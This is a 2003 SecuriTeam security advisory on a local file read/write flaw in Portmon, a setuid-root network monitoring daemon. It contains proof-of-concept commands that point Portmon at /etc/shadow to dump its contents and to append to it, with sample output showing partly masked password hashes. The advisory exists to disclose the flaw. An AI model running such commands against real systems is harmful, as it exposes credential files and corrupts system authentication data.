[UNIX] Portmon Arbitrary File Read/Write Access Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 06/18/03

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      Portmon Arbitrary File Read/Write Access Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.aboleo.net/software/portmon/> Portmon is a network service
    monitoring daemon. In order to use ping support, Portmon must run as root
    or be installed setuid with root permissions due to the fact that it must
    open up a raw socket. The product suffers from a security problem that
    allows any local user to read/write protected files on the system. This is
    due to a hole in the way the program handles loading of two configuration
    files: host file/log file.

    DETAILS

    Example (read):
    [lucae@linux lucae]$portmon -c /etc/shadow

    Unable to resolve hostname
    root:$1$nsqR6sX$ItXXXXXXXXXXXXXXXXX.:12172:0:99999:7:::
    Unable to resolve hostname bin:*:12172:0:99999:7:::
    Unable to resolve hostname daemon:*:12172:0:99999:7:::
    Unable to resolve hostname adm:*:12172:0:99999:7:::
    Unable to resolve hostname lp:*:12172:0:99999:7:::
    Unable to resolve hostname sync:*:12172:0:99999:7:::
    Unable to resolve hostname shutdown:*:12172:0:99999:7:::
    Unable to resolve hostname halt:*:12172:0:99999:7:::
    Unable to resolve hostname mail:*:12172:0:99999:7:::
    Unable to resolve hostname news:*:12172:0:99999:7:::

    <snip>

    Example (write):
    [lucae@linux lucae]$portmon -l /etc/shadow
    fopen: No such file or directory
    Failed reading config file hosts

    [root@linux root]#cat /etc/shadow
    <snip>

    lucae:$1$w3IGpzV4$i8WcXXXXXXXXXXXXXXXX/:12172:0:99999:7:::
    nessus:$1$XSaW3b5e$WWzXXXXXXXXXXXXXXXX.:12183:0:99999:7:::
    test:$1$6r5/OoES$RX3OXXXXXXXXXXXXXXXX/:12200:0:99999:7:::
    (Mon Jun 16 01:40:17 2003) - Portmon started by user lucae //line added

    [root@linux root]#

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:luca.ercoli@inwind.it> Luca
    Ercoli.

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